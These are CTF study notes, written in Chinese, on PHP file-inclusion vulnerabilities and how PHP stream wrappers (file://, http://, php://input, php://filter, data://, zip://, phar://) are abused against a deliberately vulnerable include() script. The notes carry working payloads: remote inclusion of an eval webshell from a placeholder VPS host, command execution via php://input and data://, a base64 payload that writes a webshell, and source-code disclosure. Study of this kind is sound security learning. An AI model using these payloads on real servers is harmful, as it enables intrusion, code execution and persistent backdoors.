一、前言
原來做 ctf 端茶倒水選手的時候偽協議就只熟悉常用的幾個,最近在網上瀏覽技術文章發現偽協議的有些用法我還不知道,現在就結合文件包含學習、總結、整理一下叭。
二、文件包含
2.1文件包含理解
- 向上文件包含:先包含某個文件再寫代碼,目的是包含公用的代碼文件,提高代碼重用性
- 向下文件包含:先寫一些代碼再包含某個文件,目的是在被包含的文件中使用已經產生的數據
2.2文件包含語言結構、函數
在 php 中有 require、include、require_once、include_once 四種方式包含代碼文件,require 和 include 是語言結構,require_once 和 include_once 是函數,當利用這四個方式來包含文件時,無論文件是什么類型都會當作 php 文件進行解析。下表列一些我個人認為幫助理解的相同點與不同點,更詳細可以查閱官方文檔 https://www.php.net/manual/zh/function.include.php
語言結構/函數 | 位置 | 特點 | 包含失敗 |
require | 一般用於php腳本最前面 | 在一開始就加載,需要引用的文件只處理一次,實際上文件內容替換了require()語句,可能多次執行的代碼中使用require()效率高 | 錯誤,代碼無法繼續執行 |
include | php腳本任意位置 | 在用到時加載,需要引用的文件每次都要進行讀取和評估,循環或條件語句引入文件時需要用include() | 警告,代碼可以繼續執行 |
require_once | 一般用於php腳本最前面 | 與require相同,並且如果文件曾經已經被包含過,不再包含(注:該函數根據前面有無引入相同路徑的文件判斷,而不是根據文件中的內容,即兩個待引入的文件內容相同,使用該函數還是會引入兩個) | 錯誤,代碼無法繼續執行 |
include_once | php腳本任意位置 | 與include相同,並且如果文件曾經已經被包含過,不再包含(注:該函數根據前面有無引入相同路徑的文件判斷,而不是根據文件中的內容,即兩個待引入的文件內容相同,使用該函數還是會引入兩個) | 警告,代碼可以繼續執行 |
2.3文件包含漏洞
本地文件包含:打開並包含本地文件的,還會造成任意文件讀取漏洞。這里就有很多姿勢了,比如包含日志、包含 session、結合文件上傳漏洞等等
遠程文件包含:包含遠程服務器上的文件並執行,需要 php.ini 中以下兩個配置選項均為 on,但因為 php 5.2 后 allow_url_include 默認為 Off
allow_url_fopen = On //默認為On allow_url_include = On //php5.2后默認為Off
即使兩項配置都為 Off 也可以實現遠程文件包含,在我寫到這里的時候從 RFI巧用WebDAV繞過URL包含限制Getshell 學到了繞過配置的方式,大概原理是 allow_url_fopen 和 allow_url_include 僅限制了 http:// 和 ftp:// 協議,還可以利用 smb 協議(只能 windows 環境)和 webdav 協議繞過與包含,具體可以看看這篇文章,牛哇牛哇
三、PHP偽協議
php 支持的偽協議如下,官方文檔 https://www.php.net/manual/zh/wrappers.php,記錄一下不同偽協議的漏洞利用思路、getshell 方式
file:// — 訪問本地文件系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流(I/O streams) zlib:// — 壓縮流 data:// — 數據(RFC 2397) glob:// — 查找匹配的文件路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音頻流 expect:// — 處理交互式的流
下面例子的測試代碼均為
<?php $file = $_GET['a']; include $file; ?>
3.1file://
- 訪問本地文件系統
- 不受 allow_url_fopen、allow_url_include 影響
- php 涉及到文件以及協議的地方默認使用 file 協議,如果沒有寫出協議名或者協議不存在,都會被當成 file 協議來解析
- 姿勢:
?a=file://C:/Windows/win.ini
3.2http://、ftp://
- 訪問 HTTP(s) 網址/訪問 FTP(s) URLs
- allow_url_fopen = On、allow_url_include = On
- 姿勢(ftp:// 同理,替換協議即可):
?a=http://vps.vps.vps.vps/shell.txt 木馬文件(shell.txt)內容:<?php @eval($_POST['apple']);?> 蟻劍連接地址:http://baji.baji.baji.baji/index.php?a=http://vps.vps.vps.vps/shell.txt 密碼:apple
3.3php://
- 訪問各個輸入/輸出流(I/O streams)
- 包括 php://stdin、php://stdout、php://stderr、php://input、php://output、php://filter、php://fd、php://memory、php://temp 九種
3.3.1php://input
- 訪問請求的原始數據的只讀流,即直接讀取POST上沒有經過解析的原始數據,enctype="multipart/form-data" 的時候 php://input 是無效的
- allow_url_include = On、不受 allow_url_fopen 影響
- 姿勢:
?a=php://input
命令執行: POST: <?php system('whoami'); ?>
GetShell: POST: <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['apple'])?>');?>
3.3.2php://filter
- 數據流打開時的篩選過濾應用,讀取本地源代碼
- 不受 allow_url_fopen、allow_url_include 影響
- 姿勢:
讀源碼: ?a=php://filter/read=convert.base64-encode/resource=index.php("read="可以省略) //將php文件通過base64編碼讀出,若不加read=convert.base64-encode,則會將其中內容當做php代碼執行 GetShell(shell.txt需在目標服務器上): 木馬文件(shell.txt)內容:<?php @eval($_POST['apple']);?> 蟻劍連接地址:http://baji.baji.baji.baji/index.php?a=php://filter/resource=./shell.txt 密碼:apple
3.4zip://
- 壓縮流,可以訪問壓縮文件中的子文件,將子文件的內容當做 php 代碼執行
- 不受 allow_url_fopen、allow_url_include 影響
- 姿勢:
?a=zip://D:/phpStudy/WWW/file.zip%23code.txt 格式: zip://[壓縮包絕對路徑]#[壓縮包內的子文件名] 注: 文件路徑必須為絕對路徑;zip文件后綴名可以改為其他如圖片后綴;#進行url編碼為%23
3.5zlib://、bzip2://
- 壓縮流,可以訪問壓縮文件中的子文件,將子文件的內容當做 php 代碼執行
- 不受 allow_url_fopen、allow_url_include 影響
- 姿勢:
?a=compress.zlib://file.zip 注: 文件路徑無絕對路徑限制;zlib://協議文件壓縮為zip或gz都可以,bzip2://協議文件壓縮為bz2;后綴名也可以改為其他如圖片后綴
3.6data://
- 數據流
- allow_url_fopen = On、allow_url_include = On
- 姿勢:
命令執行: ?a=data:text/plain,<?php system('whoami');?> ?a=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== GetShell: ?a=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIkpUTkRKVE5HY0dod0pUSXdRR1YyWVd3bE1qZ2xNalJmVUU5VFZDVTFRaVV5TjJGd2NHeGxKVEkzSlRWRUpUSTVKVE5DSlROR0pUTkYiKSk7Pz4=
3.7glob://
- 查找匹配的文件路徑模式,與其他函數配合繞過 open_basedir 限制,但是只可以讀文件名不可以讀文件內容
- 不受 allow_url_fopen、allow_url_include 影響
- 姿勢:參考這篇文章 https://xz.aliyun.com/t/10070#toc-4
3.8phar://
- PHP歸檔
- 不受 allow_url_fopen、allow_url_include 影響
- 姿勢(phar 還有反序列化操作,這里就先只記錄文件包含相關):
?a=phar://test.zip/test.php 注:文件路徑為絕對路徑限制;壓縮包內子文件為php文件如test.php壓縮為test.zip;后綴名也可以改為其他如圖片后綴
四、總結
ssh://、rar://、ogg://、expect:// 協議暫時沒有和文件包含的關聯就沒在這里記錄了,關於文件包含和偽協議知識的總結還是有新收獲的,查找資料的過程中又掌握了一些之前忽略的知識點。
參考文章:
https://www.jianshu.com/p/73a070c9c058
https://cloud.tencent.com/developer/article/1723748
https://xz.aliyun.com/t/5535
https://www.anquanke.com/post/id/248627
https://www.mi1k7ea.com/2019/01/31/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/